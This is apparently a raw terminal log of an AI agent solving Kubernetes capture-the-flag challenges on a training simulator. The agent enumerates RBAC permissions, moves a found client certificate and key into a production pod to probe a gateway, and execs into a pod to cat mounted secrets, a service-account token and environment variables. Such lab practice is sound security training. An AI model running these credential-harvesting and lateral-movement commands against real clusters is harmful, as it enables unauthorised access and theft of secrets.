echo "kubectl get securitypolicies -n default 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -25gateways.gateway.networking.k8s.io [] [] [get watch list] [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl auth can-i --list -n envoy-gateway-system 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi' [A 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi[K' [?2004l Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] namespaces [] [] [get watch list] services [] [] [get watch list] clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list] envoyproxies.gateway.envoyproxy.io [] [] [get watch list] gateways.gateway.networking.k8s.io [] [] [get watch list] [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho === CHECK ENVOY GW SPECIFIC === [?2004l === CHECK ENVOY GW SPECIFIC === [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl auth can-i get secrets -n envoy-gateway-sy ystem 2>&1 [?2004l no [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl auth can-i list pods -n envoy-gateway-syst tem 2>&1 [?2004l no [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl auth can-i create pods/exec -n envoy-gatew way-system 2>&1 [?2004l no [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get securitypolicies -n default 2>&1 [?2004l Error from server (Forbidden): securitypolicies.gateway.envoyproxy.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "securitypolicies" in API group "gateway.envoyproxy.io" in the namespace "default" [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit [?2004l exit command terminated with exit code 1 Connection to 35.179.133.134 closed.
{
echo "kubectl auth can-i update clienttrafficpolicies -n default 2>&1"
echo "kubectl auth can-i patch clienttrafficpolicies -n default 2>&1"
echo "kubectl auth can-i create clienttrafficpolicies -n default 2>&1"
echo "kubectl auth can-i delete clienttrafficpolicies -n default 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -E '(yes|no)$'{
echo "kubectl auth can-i update clienttrafficpolicies.gateway.envoyproxy.io -n default"
echo "kubectl auth can-i patch clienttrafficpolicies.gateway.envoyproxy.io -n default"
echo "kubectl auth can-i delete clienttrafficpolicies.gateway.envoyproxy.io -n default"
echo "kubectl auth can-i create secrets -n default"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | grep -E '(yes|no)'export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l
no
[?2004l
no
[?2004l
no
[?2004l
no# Transfer cert/key to debug-tools via kubectl cp from within the SSH session
# Since kubectl cp might not work (needs tar), let's use base64 in smaller chunks via a helper script
cat > /tmp/transfer_and_curl.sh << 'SCRIPT'
# Write cert to debug-tools container
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -i -- sh -c 'cat > /tmp/client.crt' < /tmp/c.crt
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -i -- sh -c 'cat > /tmp/client.key' < /tmp/c.key
# Verify
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- md5sum /tmp/client.crt /tmp/client.key
# Try curl with the CTP cert from the newer curl in debug-tools
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -svk --http1.1 --cert /tmp/client.crt --key /tmp/client.key https://10.111.253.191/ 2>&1 | tail -15
SCRIPT
# Now run this script on the bastion
{
cat /tmp/transfer_and_curl.sh
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -25[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -i -- sh -c 'cat > /tmp/client.key' < /tmp/c.key
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [K# Verify
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- md5sum /tmp/client.crt /tmp/client.key
[?2004l
fb356d37bd0c93172148580db0857ba9 /tmp/client.crt
0a94de1f463a0995741af86a38976ef5 /tmp/client.key
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [K# Try curl with the CTP cert from the newer curl i
in debug-tools
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -svk --http1.1 --cert /tmp/client.crt --key /tmp/clien
nt.key https://10.111.253.191/ 2>&1 | tail -15
[?2004l
* Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* Connected to 10.111.253.191 (10.111.253.191) port 443
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: 10.111.253.191
> User-Agent: curl/8.14.1
> Accept: */*
>
{ [5 bytes data]
* TLSv1.3 (IN), TLS alert, unknown CA (560):
{ [2 bytes data]
* OpenSSL SSL_read: OpenSSL/3.5.5: error:0A000418:SSL routines::tlsv1 alert unknown ca, errno 0
* closing connection #0
command terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "find / -maxdepth 3 -name '.*' -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v cache | grep -v run"
echo "cat /root/.bashrc 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -30 #alias vdir='vdir --color=auto'
alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
fi
# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.
if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi
# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
# . /etc/bash_completion
#fi
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "find / -maxdepth 3 -name '.*' -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v cache | grep -v run | grep -v '.bash\|.profile\|.kube'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | grep '\.' | head -20- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
find / -maxdepth 3 -name '.*' -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v cache | grep -v run | grep -v '.bash\|.profile\|.kube'
find / -maxdepth 3 -name '.*' -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v cache | grep -v run | grep -v '.bash\|.profile\|.kube'
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# find / -maxdepth 3 -name '.*' -type f 2>/dev/null
| grep -v proc | grep -v sys | grep -v cache | grep -v run | grep -v '.bash\|.pr
rofile\|.kube'
[?2004l
/etc/.pwd.lock
Connection to 35.179.133.134 closed.I'm stuck on the gateway flag (Flag 1). Here's where I am:
What I know:
- The Envoy Gateway requires a client cert signed by the O=Linkerd-CTF, CN=Linkerd-CTF CA
- The cert+key in the CTP annotation are a decoy — signed by a different CA with the same name (openssl s_client confirms unknown ca)
- I successfully got a cert from the Linkerd Identity service (mesh CA), but that's a completely different trust root (root.linkerd.cluster.local)
- Can't read any secrets (client-ca-secret, certs)
- Can't modify the ClientTrafficPolicy
What I've tried: - CTP annotation cert/key (decoy CA) - Linkerd mesh identity cert (different CA chain) - Checking all accessible resources for hidden certs/keys - Searching the jumppod filesystem - Using production SA token for cross-namespace access
I feel like I'm missing something about how to get a cert signed by the correct CA. Could you give me a nudge on what I'm overlooking?
ls -la /tmp/challenge-3/ && cat /tmp/challenge-3/simulator_config
total 20
drwxr-xr-x 2 claude claude 4096 Mar 25 11:43 .
drwxrwxrwt 20 root root 4096 Mar 25 11:42 ..
-rw------- 1 claude claude 167 Mar 25 11:10 simulator_config
-rw-r--r-- 1 claude claude 202 Mar 25 11:12 simulator_known_hosts
-rw------- 1 claude claude 3243 Mar 25 11:10 simulator_rsa
Host bastion 18.134.180.16
Hostname 18.134.180.16
User player
RequestTTY force
IdentityFile simulator_rsa
UserKnownHostsFile simulator_known_hostsHost bastion 18.134.180.16
Hostname 18.134.180.16
User player
RequestTTY force
IdentityFile /tmp/challenge-3/simulator_rsa
UserKnownHostsFile /tmp/challenge-3/simulator_known_hosts
chmod 600 /tmp/challenge-3/simulator_rsa && ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '===MOTD_END===' kubectl auth whoami 2>&1 echo '===SEP===' kubectl auth can-i --list 2>&1 echo '===SEP===' kubectl get ns 2>&1 echo '===SEP===' kubectl get all -A 2>&1 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____
/ ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _)
\___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )(
(____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__)
------------------------------------------------------------
| |
| Hidden '/etc/secret's are crossing our skies. |
| Let’s find out what’s really going on. |
| |
------------------------------------------------------------
| |
| We have already identified a plane |
| Have a look at the "b2" namespace. |
| |
------------------------------------------------------------
| |
| ! WARNING ! |
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
echo '===MOTD_END==='
kubectl auth whoami 2>&1
echo '===SEP==='
kubectl auth can-i --list 2>&1
echo '===SEP==='
kubectl get ns 2>&1
echo '===SEP==='
kubectl get all -A 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '===MOTD_END==='
[?2004l===MOTD_END===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth whoami 2>&1
[?2004lATTRIBUTE VALUE
Username system:serviceaccount:jumphost:jumphost
UID 2a47a217-2b27-402a-9efc-4bcba2606bca
Groups [system:serviceaccounts system:serviceaccounts:jumphost system:authenticated]
Extra: authentication.kubernetes.io/credential-id [JTI=8d564aa5-723c-4862-830e-a3c8ba6d2a9b]
Extra: authentication.kubernetes.io/node-name [node-2]
Extra: authentication.kubernetes.io/node-uid [4a8d6a6c-add8-4d65-8f84-c178c7040c49]
Extra: authentication.kubernetes.io/pod-name [jumphost-5f66c55446-d5bkl]
Extra: authentication.kubernetes.io/pod-uid [b255e8a0-036e-498b-a12e-27317db5288a]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth can-i --list 2>&1
[?2004lResources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get ns 2>&1
[?2004lError from server (Forbidden): namespaces is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "namespaces" in API group "" at the cluster scope
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '===SEP==='
[?2004l===SEP===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get all -A 2>&1
[?2004lError from server (Forbidden): pods is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "pods" in API group "" at the cluster scope
Error from server (Forbidden): replicationcontrollers is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "replicationcontrollers" in API group "" at the cluster scope
Error from server (Forbidden): services is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "services" in API group "" at the cluster scope
Error from server (Forbidden): daemonsets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "daemonsets" in API group "apps" at the cluster scope
Error from server (Forbidden): deployments.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "deployments" in API group "apps" at the cluster scope
Error from server (Forbidden): replicasets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "replicasets" in API group "apps" at the cluster scope
Error from server (Forbidden): statefulsets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "statefulsets" in API group "apps" at the cluster scope
Error from server (Forbidden): horizontalpodautoscalers.autoscaling is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "horizontalpodautoscalers" in API group "autoscaling" at the cluster scope
Error from server (Forbidden): cronjobs.batch is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "cronjobs" in API group "batch" at the cluster scope
Error from server (Forbidden): jobs.batch is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "jobs" in API group "batch" at the cluster scope
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed."Stealth-Left" challenge — B-2 stealth bomber themed, /etc/secrets, b2 namespace. Very restricted permissions. Let me check what I can do in b2.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== PERMS B2 ===' kubectl auth can-i --list -n b2 2>&1 echo '=== PERMS JUMPHOST ===' kubectl auth can-i --list -n jumphost 2>&1 echo '=== GET ALL B2 ===' kubectl get all -n b2 2>&1 echo '=== SECRETS B2 ===' kubectl get secrets -n b2 2>&1 echo '=== PODS B2 ===' kubectl get pods -n b2 -o wide 2>&1 echo '=== DESCRIBE POD ===' kubectl get pods -n b2 -o yaml 2>&1 | head -80 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____
/ ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _)
\___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )(
(____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__)
------------------------------------------------------------
| |
| Hidden '/etc/secret's are crossing our skies. |
| Let’s find out what’s really going on. |
| |
------------------------------------------------------------
| |
| We have already identified a plane |
| Have a look at the "b2" namespace. |
| |
------------------------------------------------------------
| |
| ! WARNING ! |
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '=== PERMS B2 ==='
kubectl auth can-i --list -n b2 2>&1
echo '=== PERMS JUMPHOST ==='
kubectl auth can-i --list -n jumphost 2>&1
echo '=== GET ALL B2 ==='
kubectl get all -n b2 2>&1
echo '=== SECRETS B2 ==='
kubectl get secrets -n b2 2>&1
echo '=== PODS B2 ==='
kubectl get pods -n b2 -o wide 2>&1
echo '=== DESCRIBE POD ==='
kubectl get pods -n b2 -o yaml 2>&1 | head -80
exit
echo '=== PERMS B2 ==='
kubectl auth can-i --list -n b2 2>&1
echo '=== PERMS JUMPHOST ==='
kubectl auth can-i --list -n jumphost 2>&1
echo '=== GET ALL B2 ==='
kubectl get all -n b2 2>&1
echo '=== SECRETS B2 ==='
kubectl get secrets -n b2 2>&1
echo '=== PODS B2 ==='
kubectl get pods -n b2 -o wide 2>&1
echo '=== DESCRIBE POD ==='
kubectl get pods -n b2 -o yaml 2>&1 | head -80
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== PERMS B2 ==='
[?2004l=== PERMS B2 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth can-i --list -n b2 2>&1
[?2004lResources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods/exec [] [] [get list create]
pods [] [] [get list]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== PERMS JUMPHOST ==='
[?2004l=== PERMS JUMPHOST ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl auth can-i --list -n jumphost 2>&1
[?2004lResources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== GET ALL B2 ==='
[?2004l=== GET ALL B2 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get all -n b2 2>&1
[?2004lNAME READY STATUS RESTARTS AGE
b2-6454ffccfb-bmfgs 1/1 Running 0 30m
Error from server (Forbidden): replicationcontrollers is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "replicationcontrollers" in API group "" in the namespace "b2"
Error from server (Forbidden): services is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "services" in API group "" in the namespace "b2"
Error from server (Forbidden): daemonsets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "daemonsets" in API group "apps" in the namespace "b2"
Error from server (Forbidden): deployments.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "deployments" in API group "apps" in the namespace "b2"
Error from server (Forbidden): replicasets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "replicasets" in API group "apps" in the namespace "b2"
Error from server (Forbidden): statefulsets.apps is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "statefulsets" in API group "apps" in the namespace "b2"
Error from server (Forbidden): horizontalpodautoscalers.autoscaling is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "horizontalpodautoscalers" in API group "autoscaling" in the namespace "b2"
Error from server (Forbidden): cronjobs.batch is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "cronjobs" in API group "batch" in the namespace "b2"
Error from server (Forbidden): jobs.batch is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "jobs" in API group "batch" in the namespace "b2"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SECRETS B2 ==='
[?2004l=== SECRETS B2 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get secrets -n b2 2>&1
[?2004lError from server (Forbidden): secrets is forbidden: User "system:serviceaccount:jumphost:jumphost" cannot list resource "secrets" in API group "" in the namespace "b2"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== PODS B2 ==='
[?2004l=== PODS B2 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get pods -n b2 -o wide 2>&1
[?2004lNAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
b2-6454ffccfb-bmfgs 1/1 Running 0 30m 192.168.84.129 node-1 <none> <none>
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== DESCRIBE POD ==='
[?2004l=== DESCRIBE POD ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get pods -n b2 -o yaml 2>&1 | head -80 [A]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl get pods -n b2 -o yaml 2>&1 | head -8[K0
[?2004lapiVersion: v1
items:
- apiVersion: v1
kind: Pod
metadata:
annotations:
cni.projectcalico.org/containerID: c7ea95ca6a7e159d3c58217ae2d5d08c820d3632f15cb0a3589dc3095f09d9ce
cni.projectcalico.org/podIP: 192.168.84.129/32
cni.projectcalico.org/podIPs: 192.168.84.129/32
creationTimestamp: "2026-03-25T11:13:33Z"
generateName: b2-6454ffccfb-
generation: 1
labels:
app: b2
pod-template-hash: 6454ffccfb
name: b2-6454ffccfb-bmfgs
namespace: b2
ownerReferences:
- apiVersion: apps/v1
blockOwnerDeletion: true
controller: true
kind: ReplicaSet
name: b2-6454ffccfb
uid: 8d3abcb4-e6d5-4c19-8359-222971d83758
resourceVersion: "1137"
uid: 41c10977-c8d6-4c37-9e78-03a56d9b8763
spec:
containers:
- command:
- sleep
- inf
image: ghcr.io/controlplaneio/simulator-private/jump:v1.35.1-jammy-20260210.1
imagePullPolicy: IfNotPresent
lifecycle:
postStart:
exec:
command:
- /bin/sh
- -c
- 'echo ''echo "WARNING: AIRGAP CONFIGURATION DETECTED."'' >> /root/.bashrc'
name: b2
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /etc/secret
name: secret-volume
readOnly: true
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-j9wfp
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
nodeName: node-1
preemptionPolicy: PreemptLowerPriority
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: stealth
serviceAccountName: stealth
terminationGracePeriodSeconds: 30
tolerations:
- effect: NoExecute
key: node.kubernetes.io/not-ready
operator: Exists
tolerationSeconds: 300
- effect: NoExecute
key: node.kubernetes.io/unreachable
operator: Exists
tolerationSeconds: 300
volumes:
- name: secret-volume
secret:
defaultMode: 420
secretName: secret
- name: kube-api-access-j9wfp
projected:
defaultMode: 420
sources:
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
Connection to 18.134.180.16 closed.The b2 pod has a secret volume mounted at /etc/secret from a secret named secret. I have pods/exec in the b2 namespace. Let me exec in and read it.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== READ SECRET ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- ls -la /etc/secret/ 2>&1 echo '=== CAT SECRET FILES ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for f in /etc/secret/*; do echo "--- $f ---"; cat "$f"; echo; done' 2>&1 echo '=== SA TOKEN ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>&1 | head -1 echo '=== ENV ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- env 2>&1 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____
/ ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _)
\___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )(
(____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__)
------------------------------------------------------------
| |
| Hidden '/etc/secret's are crossing our skies. |
| Let’s find out what’s really going on. |
| |
------------------------------------------------------------
| |
| We have already identified a plane |
| Have a look at the "b2" namespace. |
| |
------------------------------------------------------------
| |
| ! WARNING ! |
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '=== READ SECRET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- ls -la /etc/secret/ 2>&1
echo '=== CAT SECRET FILES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for f in /etc/secret/*; do echo "--- $f ---"; cat "$f"; echo; done' 2>&1
echo '=== SA TOKEN ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>&1 | head -1
echo '=== ENV ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- env 2>&1
exit
echo '=== READ SECRET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- ls -la /etc/secret/ 2>&1
echo '=== CAT SECRET FILES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'for f in /etc/secret/*; do echo "--- $f ---"; cat "$f"; echo; done' 2>&1
echo '=== SA TOKEN ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>&1 | head -1
echo '=== ENV ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- env 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== READ SECRET ==='
[?2004l=== READ SECRET ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- ls -lla /etc/secret/ 2>&1
[?2004ltotal 4
